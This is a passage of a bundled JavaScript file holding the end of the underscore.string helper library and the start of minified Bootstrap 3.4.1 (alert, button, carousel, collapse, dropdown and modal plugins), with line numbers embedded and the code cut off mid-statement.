67tsep=typeof tsep=="string"?tsep:",";var parts=number.split("."),fnums=parts[0],decimals=parts[1]?(dsep||".")+parts[1]:"";return fnums.replace(/(\d)(?=(?:\d{3})+$)/g,"$1"+tsep)+decimals}},{}],39:[function(require,module,exports){var makeString=require("./helper/makeString");var strRepeat=require("./helper/strRepeat");module.exports=function pad(str,length,padStr,type){str=makeString(str);length=~~length;var padlen=0;if(!padStr)padStr=" ";else if(padStr.length>1)padStr=padStr.charAt(0);switch(type){case"right":padlen=length-str.length;return str+strRepeat(padStr,padlen);case"both":padlen=length-str.length;return strRepeat(padStr,Math.ceil(padlen/2))+str+strRepeat(padStr,Math.floor(padlen/2));default:padlen=length-str.length;return strRepeat(padStr,padlen)+str}}},{"./helper/makeString":20,"./helper/strRepeat":21}],40:[function(require,module,exports){var adjacent=require("./helper/adjacent");module.exports=function succ(str){return adjacent(str,-1)}},{"./helper/adjacent":15}],41:[function(require,module,exports){var makeString=require("./helper/makeString");var rtrim=require("./rtrim");module.exports=function prune(str,length,pruneStr){str=makeString(str);length=~~length;pruneStr=pruneStr!=null?String(pruneStr):"...";if(str.length<=length)return str;var tmpl=function(c){return c.toUpperCase()!==c.toLowerCase()?"A":" "},template=str.slice(0,length+1).replace(/.(?=\W*\w*$)/g,tmpl);if(template.slice(template.length-2).match(/\w\w/))template=template.replace(/\s*\S+$/,"");else template=rtrim(template.slice(0,template.length-1));return(template+pruneStr).length>str.length?str:str.slice(0,template.length)+pruneStr}},{"./helper/makeString":20,"./rtrim":47}],42:[function(require,module,exports){var surround=require("./surround");module.exports=function quote(str,quoteChar){return surround(str,quoteChar||'"')}},{"./surround":58}],43:[function(require,module,exports){var makeString=require("./helper/makeString");var strRepeat=require("./helper/strRepeat");module.exports=function repeat(str,qty,separator){str=makeString(str);qty=~~qty;if(separator==null)return strRepeat(str,qty);for(var repeat=[];qty>0;repeat[--qty]=str){}return repeat.join(separator)}},{"./helper/makeString":20,"./helper/strRepeat":21}],44:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function replaceAll(str,find,replace,ignorecase){var flags=ignorecase===true?"gi":"g";var reg=new RegExp(find,flags);return makeString(str).replace(reg,replace)}},{"./helper/makeString":20}],45:[function(require,module,exports){var chars=require("./chars");module.exports=function reverse(str){return chars(str).reverse().join("")}},{"./chars":3}],46:[function(require,module,exports){var pad=require("./pad");module.exports=function rpad(str,length,padStr){return pad(str,length,padStr,"right")}},{"./pad":39}],47:[function(require,module,exports){var makeString=require("./helper/makeString");var defaultToWhiteSpace=require("./helper/defaultToWhiteSpace");var nativeTrimRight=String.prototype.trimRight;module.exports=function rtrim(str,characters){str=makeString(str);if(!characters&&nativeTrimRight)return nativeTrimRight.call(str);characters=defaultToWhiteSpace(characters);return str.replace(new RegExp(characters+"+$"),"")}},{"./helper/defaultToWhiteSpace":16,"./helper/makeString":20}],48:[function(require,module,exports){var trim=require("./trim");var dasherize=require("./dasherize");var cleanDiacritics=require("./cleanDiacritics");module.exports=function slugify(str){return trim(dasherize(cleanDiacritics(str).replace(/[^\w\s-]/g,"-").toLowerCase()),"-")}},{"./cleanDiacritics":7,"./dasherize":9,"./trim":65}],49:[function(require,module,exports){var chars=require("./chars");module.exports=function splice(str,i,howmany,substr){var arr=chars(str);arr.splice(~~i,~~howmany,substr);return arr.join("")}},{"./chars":3}],50:[function(require,module,exports){var deprecate=require("util-deprecate");module.exports=deprecate(require("sprintf-js").sprintf,"sprintf() will be removed in the next major release, use the sprintf-js package instead.")},{"sprintf-js":36,"util-deprecate":37}],51:[function(require,module,exports){var makeString=require("./helper/makeString");var toPositive=require("./helper/toPositive");module.exports=function startsWith(str,starts,position){str=makeString(str);starts=""+starts;position=position==null?0:Math.min(toPositive(position),str.length);return str.lastIndexOf(starts,position)===position}},{"./helper/makeString":20,"./helper/toPositive":22}],52:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function strLeft(str,sep){str=makeString(str);sep=makeString(sep);var pos=!sep?-1:str.indexOf(sep);return~pos?str.slice(0,pos):str}},{"./helper/makeString":20}],53:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function strLeftBack(str,sep){str=makeString(str);sep=makeString(sep);var pos=str.lastIndexOf(sep);return~pos?str.slice(0,pos):str}},{"./helper/makeString":20}],54:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function strRight(str,sep){str=makeString(str);sep=makeString(sep);var pos=!sep?-1:str.indexOf(sep);return~pos?str.slice(pos+sep.length,str.length):str}},{"./helper/makeString":20}],55:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function strRightBack(str,sep){str=makeString(str);sep=makeString(sep);var pos=!sep?-1:str.lastIndexOf(sep);return~pos?str.slice(pos+sep.length,str.length):str}},{"./helper/makeString":20}],56:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function stripTags(str){return makeString(str).replace(/<\/?[^>]+>/g,"")}},{"./helper/makeString":20}],57:[function(require,module,exports){var adjacent=require("./helper/adjacent");module.exports=function succ(str){return adjacent(str,1)}},{"./helper/adjacent":15}],58:[function(require,module,exports){module.exports=function surround(str,wrapper){return[wrapper,str,wrapper].join("")}},{}],59:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function swapCase(str){return makeString(str).replace(/\S/g,function(c){return c===c.toUpperCase()?c.toLowerCase():c.toUpperCase()})}},{"./helper/makeString":20}],60:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function titleize(str){return makeString(str).toLowerCase().replace(/(?:^|\s|-)\S/g,function(c){return c.toUpperCase()})}},{"./helper/makeString":20}],61:[function(require,module,exports){var trim=require("./trim");function boolMatch(s,matchers){var i,matcher,down=s.toLowerCase();matchers=[].concat(matchers);for(i=0;i<matchers.length;i+=1){matcher=matchers[i];if(!matcher)continue;if(matcher.test&&matcher.test(s))return true;if(matcher.toLowerCase()===down)return true}}module.exports=function toBoolean(str,trueValues,falseValues){if(typeof str==="number")str=""+str;if(typeof str!=="string")return!!str;str=trim(str);if(boolMatch(str,trueValues||["true","1"]))return true;if(boolMatch(str,falseValues||["false","0"]))return false}},{"./trim":65}],62:[function(require,module,exports){module.exports=function toNumber(num,precision){if(num==null)return 0;var factor=Math.pow(10,isFinite(precision)?precision:0);return Math.round(num*factor)/factor}},{}],63:[function(require,module,exports){var rtrim=require("./rtrim");module.exports=function toSentence(array,separator,lastSeparator,serial){separator=separator||", ";lastSeparator=lastSeparator||" and ";var a=array.slice(),lastMember=a.pop();if(array.length>2&&serial)lastSeparator=rtrim(separator)+lastSeparator;return a.length?a.join(separator)+lastSeparator+lastMember:lastMember}},{"./rtrim":47}],64:[function(require,module,exports){var toSentence=require("./toSentence");module.exports=function toSentenceSerial(array,sep,lastSep){return toSentence(array,sep,lastSep,true)}},{"./toSentence":63}],65:[function(require,module,exports){var makeString=require("./helper/makeString");var defaultToWhiteSpace=require("./helper/defaultToWhiteSpace");var nativeTrim=String.prototype.trim;module.exports=function trim(str,characters){str=makeString(str);if(!characters&&nativeTrim)return nativeTrim.call(str);characters=defaultToWhiteSpace(characters);return str.replace(new RegExp("^"+characters+"+|"+characters+"+$","g"),"")}},{"./helper/defaultToWhiteSpace":16,"./helper/makeString":20}],66:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function truncate(str,length,truncateStr){str=makeString(str);truncateStr=truncateStr||"...";length=~~length;return str.length>length?str.slice(0,length)+truncateStr:str}},{"./helper/makeString":20}],67:[function(require,module,exports){var trim=require("./trim");module.exports=function underscored(str){return trim(str).replace(/([a-z\d])([A-Z]+)/g,"$1_$2").replace(/[-\s]+/g,"_").toLowerCase()}},{"./trim":65}],68:[function(require,module,exports){var makeString=require("./helper/makeString");var htmlEntities=require("./helper/htmlEntities");module.exports=function unescapeHTML(str){return makeString(str).replace(/\&([^;]+);/g,function(entity,entityCode){var match;if(entityCode in htmlEntities){return htmlEntities[entityCode]}else if(match=entityCode.match(/^#x([\da-fA-F]+)$/)){return String.fromCharCode(parseInt(match[1],16))}else if(match=entityCode.match(/^#(\d+)$/)){return String.fromCharCode(~~match[1])}else{return entity}})}},{"./helper/htmlEntities":19,"./helper/makeString":20}],69:[function(require,module,exports){module.exports=function unquote(str,quoteChar){quoteChar=quoteChar||'"';if(str[0]===quoteChar&&str[str.length-1]===quoteChar)return str.slice(1,str.length-1);else return str}},{}],70:[function(require,module,exports){var deprecate=require("util-deprecate");module.exports=deprecate(require("sprintf-js").vsprintf,"vsprintf() will be removed in the next major release, use the sprintf-js package instead.")},{"sprintf-js":36,"util-deprecate":37}],71:[function(require,module,exports){var isBlank=require("./isBlank");var trim=require("./trim");module.exports=function words(str,delimiter){if(isBlank(str))return[];return trim(str,delimiter).split(delimiter||/\s+/)}},{"./isBlank":27,"./trim":65}],72:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function wrap(str,options){str=makeString(str);options=options||{};var width=options.width||75;var seperator=options.seperator||"\n";var cut=options.cut||false;var preserveSpaces=options.preserveSpaces||false;var trailingSpaces=options.trailingSpaces||false;var result;if(width<=0){return str}else if(!cut){var words=str.split(" ");var current_column=0;result="";while(words.length>0){if(1+words[0].length+current_column>width){if(current_column>0){if(preserveSpaces){result+=" ";current_column++}else if(trailingSpaces){while(current_column<width){result+=" ";current_column++}}result+=seperator;current_column=0}}if(current_column>0){result+=" ";current_column++}result+=words[0];current_column+=words[0].length;words.shift()}if(trailingSpaces){while(current_column<width){result+=" ";current_column++}}return result}else{var index=0;result="";while(index<str.length){if(index%width==0&&index>0){result+=seperator}result+=str.charAt(index);index++}if(trailingSpaces){while(index%width>0){result+=" ";index++}}return result}}},{"./helper/makeString":20}]},{},[25])(25)}); 68 69_.mixin(s.exports());;
70/* AUTOGENERATED: bootstrap.min.js */
vendor: 39,680 bytes, lines 71-76
71/*! 72 * Bootstrap v3.4.1 (https://getbootstrap.com/) 73 * Copyright 2011-2019 Twitter, Inc. 74 * Licensed under the MIT license 75 */ 76if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");!function(t){"use strict";var e=jQuery.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1||3<e[0])throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(),function(n){"use strict";n.fn.emulateTransitionEnd=function(t){var e=!1,i=this;n(this).one("bsTransitionEnd",function(){e=!0});return setTimeout(function(){e||n(i).trigger(n.support.transition.end)},t),this},n(function(){n.support.transition=function o(){var t=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var i in e)if(t.style[i]!==undefined)return{end:e[i]};return!1}(),n.support.transition&&(n.event.special.bsTransitionEnd={bindType:n.support.transition.end,delegateType:n.support.transition.end,handle:function(t){if(n(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}})})}(jQuery),function(s){"use strict";var e='[data-dismiss="alert"]',a=function(t){s(t).on("click",e,this.close)};a.VERSION="3.4.1",a.TRANSITION_DURATION=150,a.prototype.close=function(t){var e=s(this),i=e.attr("data-target");i||(i=(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),i="#"===i?[]:i;var o=s(document).find(i);function n(){o.detach().trigger("closed.bs.alert").remove()}t&&t.preventDefault(),o.length||(o=e.closest(".alert")),o.trigger(t=s.Event("close.bs.alert")),t.isDefaultPrevented()||(o.removeClass("in"),s.support.transition&&o.hasClass("fade")?o.one("bsTransitionEnd",n).emulateTransitionEnd(a.TRANSITION_DURATION):n())};var t=s.fn.alert;s.fn.alert=function o(i){return this.each(function(){var t=s(this),e=t.data("bs.alert");e||t.data("bs.alert",e=new a(this)),"string"==typeof i&&e[i].call(t)})},s.fn.alert.Constructor=a,s.fn.alert.noConflict=function(){return s.fn.alert=t,this},s(document).on("click.bs.alert.data-api",e,a.prototype.close)}(jQuery),function(s){"use strict";var n=function(t,e){this.$element=s(t),this.options=s.extend({},n.DEFAULTS,e),this.isLoading=!1};function i(o){return this.each(function(){var t=s(this),e=t.data("bs.button"),i="object"==typeof o&&o;e||t.data("bs.button",e=new n(this,i)),"toggle"==o?e.toggle():o&&e.setState(o)})}n.VERSION="3.4.1",n.DEFAULTS={loadingText:"loading..."},n.prototype.setState=function(t){var e="disabled",i=this.$element,o=i.is("input")?"val":"html",n=i.data();t+="Text",null==n.resetText&&i.data("resetText",i[o]()),setTimeout(s.proxy(function(){i[o](null==n[t]?this.options[t]:n[t]),"loadingText"==t?(this.isLoading=!0,i.addClass(e).attr(e,e).prop(e,!0)):this.isLoading&&(this.isLoading=!1,i.removeClass(e).removeAttr(e).prop(e,!1))},this),0)},n.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var i=this.$element.find("input");"radio"==i.prop("type")?(i.prop("checked")&&(t=!1),e.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==i.prop("type")&&(i.prop("checked")!==this.$element.hasClass("active")&&(t=!1),this.$element.toggleClass("active")),i.prop("checked",this.$element.hasClass("active")),t&&i.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var t=s.fn.button;s.fn.button=i,s.fn.button.Constructor=n,s.fn.button.noConflict=function(){return s.fn.button=t,this},s(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(t){var e=s(t.target).closest(".btn");i.call(e,"toggle"),s(t.target).is('input[type="radio"], input[type="checkbox"]')||(t.preventDefault(),e.is("input,button")?e.trigger("focus"):e.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(t){s(t.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(t.type))})}(jQuery),function(p){"use strict";var c=function(t,e){this.$element=p(t),this.$indicators=this.$element.find(".carousel-indicators"),this.options=e,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",p.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",p.proxy(this.pause,this)).on("mouseleave.bs.carousel",p.proxy(this.cycle,this))};function r(n){return this.each(function(){var t=p(this),e=t.data("bs.carousel"),i=p.extend({},c.DEFAULTS,t.data(),"object"==typeof n&&n),o="string"==typeof n?n:i.slide;e||t.data("bs.carousel",e=new c(this,i)),"number"==typeof n?e.to(n):o?e[o]():i.interval&&e.pause().cycle()})}c.VERSION="3.4.1",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(t){if(!/input|textarea/i.test(t.target.tagName)){switch(t.which){case 37:this.prev();break;case 39:this.next();break;default:return}t.preventDefault()}},c.prototype.cycle=function(t){return t||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(p.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(t){return this.$items=t.parent().children(".item"),this.$items.index(t||this.$active)},c.prototype.getItemForDirection=function(t,e){var i=this.getItemIndex(e);if(("prev"==t&&0===i||"next"==t&&i==this.$items.length-1)&&!this.options.wrap)return e;var o=(i+("prev"==t?-1:1))%this.$items.length;return this.$items.eq(o)},c.prototype.to=function(t){var e=this,i=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(t>this.$items.length-1||t<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){e.to(t)}):i==t?this.pause().cycle():this.slide(i<t?"next":"prev",this.$items.eq(t))},c.prototype.pause=function(t){return t||(this.paused=!0),this.$element.find(".next, .prev").length&&p.support.transition&&(this.$element.trigger(p.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(t,e){var i=this.$element.find(".item.active"),o=e||this.getItemForDirection(t,i),n=this.interval,s="next"==t?"left":"right",a=this;if(o.hasClass("active"))return this.sliding=!1;var r=o[0],l=p.Event("slide.bs.carousel",{relatedTarget:r,direction:s});if(this.$element.trigger(l),!l.isDefaultPrevented()){if(this.sliding=!0,n&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var h=p(this.$indicators.children()[this.getItemIndex(o)]);h&&h.addClass("active")}var d=p.Event("slid.bs.carousel",{relatedTarget:r,direction:s});return p.support.transition&&this.$element.hasClass("slide")?(o.addClass(t),"object"==typeof o&&o.length&&o[0].offsetWidth,i.addClass(s),o.addClass(s),i.one("bsTransitionEnd",function(){o.removeClass([t,s].join(" ")).addClass("active"),i.removeClass(["active",s].join(" ")),a.sliding=!1,setTimeout(function(){a.$element.trigger(d)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(i.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger(d)),n&&this.cycle(),this}};var t=p.fn.carousel;p.fn.carousel=r,p.fn.carousel.Constructor=c,p.fn.carousel.noConflict=function(){return p.fn.carousel=t,this};var e=function(t){var e=p(this),i=e.attr("href");i&&(i=i.replace(/.*(?=#[^\s]+$)/,""));var o=e.attr("data-target")||i,n=p(document).find(o);if(n.hasClass("carousel")){var s=p.extend({},n.data(),e.data()),a=e.attr("data-slide-to");a&&(s.interval=!1),r.call(n,s),a&&n.data("bs.carousel").to(a),t.preventDefault()}};p(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),p(window).on("load",function(){p('[data-ride="carousel"]').each(function(){var t=p(this);r.call(t,t.data())})})}(jQuery),function(a){"use strict";var r=function(t,e){this.$element=a(t),this.options=a.extend({},r.DEFAULTS,e),this.$trigger=a('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};function n(t){var e,i=t.attr("data-target")||(e=t.attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"");return a(document).find(i)}function l(o){return this.each(function(){var t=a(this),e=t.data("bs.collapse"),i=a.extend({},r.DEFAULTS,t.data(),"object"==typeof o&&o);!e&&i.toggle&&/show|hide/.test(o)&&(i.toggle=!1),e||t.data("bs.collapse",e=new r(this,i)),"string"==typeof o&&e[o]()})}r.VERSION="3.4.1",r.TRANSITION_DURATION=350,r.DEFAULTS={toggle:!0},r.prototype.dimension=function(){return this.$element.hasClass("width")?"width":"height"},r.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var t,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(t=e.data("bs.collapse"))&&t.transitioning)){var i=a.Event("show.bs.collapse");if(this.$element.trigger(i),!i.isDefaultPrevented()){e&&e.length&&(l.call(e,"hide"),t||e.data("bs.collapse",null));var o=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[o](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var n=function(){this.$element.removeClass("collapsing").addClass("collapse in")[o](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return n.call(this);var s=a.camelCase(["scroll",o].join("-"));this.$element.one("bsTransitionEnd",a.proxy(n,this)).emulateTransitionEnd(r.TRANSITION_DURATION)[o](this.$element[0][s])}}}},r.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var t=a.Event("hide.bs.collapse");if(this.$element.trigger(t),!t.isDefaultPrevented()){var e=this.dimension();this.$element[e](this.$element[e]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var i=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};if(!a.support.transition)return i.call(this);this.$element[e](0).one("bsTransitionEnd",a.proxy(i,this)).emulateTransitionEnd(r.TRANSITION_DURATION)}}},r.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},r.prototype.getParent=function(){return a(document).find(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(t,e){var i=a(e);this.addAriaAndCollapsedClass(n(i),i)},this)).end()},r.prototype.addAriaAndCollapsedClass=function(t,e){var i=t.hasClass("in");t.attr("aria-expanded",i),e.toggleClass("collapsed",!i).attr("aria-expanded",i)};var t=a.fn.collapse;a.fn.collapse=l,a.fn.collapse.Constructor=r,a.fn.collapse.noConflict=function(){return a.fn.collapse=t,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(t){var e=a(this);e.attr("data-target")||t.preventDefault();var i=n(e),o=i.data("bs.collapse")?"toggle":e.data();l.call(i,o)})}(jQuery),function(a){"use strict";var r='[data-toggle="dropdown"]',o=function(t){a(t).on("click.bs.dropdown",this.toggle)};function l(t){var e=t.attr("data-target");e||(e=(e=t.attr("href"))&&/#[A-Za-z]/.test(e)&&e.replace(/.*(?=#[^\s]*$)/,""));var i="#"!==e?a(document).find(e):null;return i&&i.length?i:t.parent()}function s(o){o&&3===o.which||(a(".dropdown-backdrop").remove(),a(r).each(function(){var t=a(this),e=l(t),i={relatedTarget:this};e.hasClass("open")&&(o&&"click"==o.type&&/input|textarea/i.test(o.target.tagName)&&a.contains(e[0],o.target)||(e.trigger(o=a.Event("hide.bs.dropdown",i)),o.isDefaultPrevented()||(t.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",i)))))}))}o.VERSION="3.4.1",o.prototype.toggle=function(t){var e=a(this);if(!e.is(".disabled, :disabled")){var i=l(e),o=i.hasClass("open");if(s(),!o){"ontouchstart"in document.documentElement&&!i.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",s);var n={relatedTarget:this};if(i.trigger(t=a.Event("show.bs.dropdown",n)),t.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),i.toggleClass("open").trigger(a.Event("shown.bs.dropdown",n))}return!1}},o.prototype.keydown=function(t){if(/(38|40|27|32)/.test(t.which)&&!/input|textarea/i.test(t.target.tagName)){var e=a(this);if(t.preventDefault(),t.stopPropagation(),!e.is(".disabled, :disabled")){var i=l(e),o=i.hasClass("open");if(!o&&27!=t.which||o&&27==t.which)return 27==t.which&&i.find(r).trigger("focus"),e.trigger("click");var n=i.find(".dropdown-menu li:not(.disabled):visible a");if(n.length){var s=n.index(t.target);38==t.which&&0<s&&s--,40==t.which&&s<n.length-1&&s++,~s||(s=0),n.eq(s).trigger("focus")}}}};var t=a.fn.dropdown;a.fn.dropdown=function e(i){return this.each(function(){var t=a(this),e=t.data("bs.dropdown");e||t.data("bs.dropdown",e=new o(this)),"string"==typeof i&&e[i].call(t)})},a.fn.dropdown.Constructor=o,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=t,this},a(document).on("click.bs.dropdown.data-api",s).on("click.bs.dropdown.data-api",".dropdown form",function(t){t.stopPropagation()}).on("click.bs.dropdown.data-api",r,o.prototype.toggle).on("keydown.bs.dropdown.data-api",r,o.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",o.prototype.keydown)}(jQuery),function(a){"use strict";var s=function(t,e){this.options=e,this.$body=a(document.body),this.$element=a(t),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.fixedContent=".navbar-fixed-top, .navbar-fixed-bottom",this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};function r(o,n){return this.each(function(){var t=a(this),e=t.data("bs.modal"),i=a.extend({},s.DEFAULTS,t.data(),"object"==typeof o&&o);e||t.data("bs.modal",e=new s(this,i)),"string"==typeof o?e[o](n):i.show&&e.show(n)})}s.VERSION="3.4.1",s.TRANSITION_DURATION=300,s.BACKDROP_TRANSITION_DURATION=150,s.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},s.prototype.toggle=function(t){return this.isShown?this.hide():this.show(t)},s.prototype.show=function(i){var o=this,t=a.Event("show.bs.modal",{relatedTarget:i});this.$element.trigger(t),this.isShown||t.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){o.$element.one("mouseup.dismiss.bs.modal",function(t){a(t.target).is(o.$element)&&(o.ignoreBackdropClick=!0)})}),this.backdrop(function(){var t=a.support.transition&&o.$element.hasClass("fade");o.$element.parent().length||o.$element.appendTo(o.$body),o.$element.show().scrollTop(0),o.adjustDialog(),t&&o.$element[0].offsetWidth,o.$element.addClass("in"),o.enforceFocus();var e=a.Event("shown.bs.modal",{relatedTarget:i});t?o.$dialog.one("bsTransitionEnd",function(){o.$element.trigger("focus").trigger(e)}).emulateTransitionEnd(s.TRANSITION_DURATION):o.$element.trigger("focus").trigger(e)}))},s.prototype.hide=function(t){t&&t.preventDefault(),t=a.Event("hide.bs.modal"),this.$element.trigger(t),this.isShown&&!t.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(s.TRANSITION_DURATION):this.hideModal())},s.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(t){document===t.target||this.$element[0]===t.target||this.$element.has(t.target).length||this.$element.trigger("focus")},this))},s.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(t){27==t.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},s.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},s.prototype.hideModal=function(){var t=this;this.$element.hide(),this.backdrop(function(){t.$body.removeClass("modal-open"),t.resetAdjustments(),t.resetScrollbar(),t.$element.trigger("hidden.bs.modal")})},s.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},s.prototype.backdrop=function(t){var e=this,i=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var o=a.support.transition&&i;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+i).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(t){this.ignoreBackdropClick?this.ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide())},this)),o&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!t)return;o?this.$backdrop.one("bsTransitionEnd",t).emulateTransitionEnd(s.BACKDROP_TRANSITION_DURATION):t()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var n=function(){e.removeBackdrop(),t&&t()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",n).emulateTransitionEnd(s.BACKDROP_TRANSITION_DURATION):n()}else t&&t()},s.prototype.handleUpdate=function(){this.adjustDialog()},s.prototype.adjustDialog=function(){var t=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},s.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},s.prototype.checkScrollbar=function(){var t=window.innerWidth;if(!t){var e=document.documentElement.getBoundingClientRect();t=e.right-Math.abs(e.left)}this.bodyIsOverflowing=document.body.clientWidth<t,this.scrollbarWidth=this.measureScrollbar()},s.prototype.setScrollbar=function(){var t=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"";var n=this.scrollbarWidth;this.bodyIsOverflowing&&(this.$body.css("padding-right",t+n),a(this.fixedContent).each(function(t,e){var i=e.style.paddingRight,o=a(e).css("padding-right");a(e).data("padding-right",i).css("padding-right",parseFloat(o)+n+"px")}))},s.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad),a(this.fixedContent).each(function(t,e){var i=a(e).data("padding-right");a(e).removeData("padding-right"),e.style.paddingRight=i||""})},s.prototype.measureScrollbar=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",this.$body.append(t);var e=t.offsetWidth-t.clientWidth;return this.$body[0].removeChild(t),e};var t=a.fn.modal;a.fn.modal=r,a.fn.modal.Constructor=s,a.fn.modal.noConflict=function(){return a.fn.modal=t,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(t){var e=a(this),i=e.attr("href"),o=e.attr("data-target")||i&&i.replace(/.*(?=#[^\s]+$)/,""),n=a(document).find(o),s=n.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(i)&&i},n.data(),e.data());e.is("a")&&t.preventDefault(),n.one("show.bs.modal",function(t){t.isDefaultPrevented()||n.one("hidden.bs.modal",function(){e.is(":visible")&&e.trigger("focus")})}),r.call(n,s,this)})}(jQuery),function(g){"use strict";var 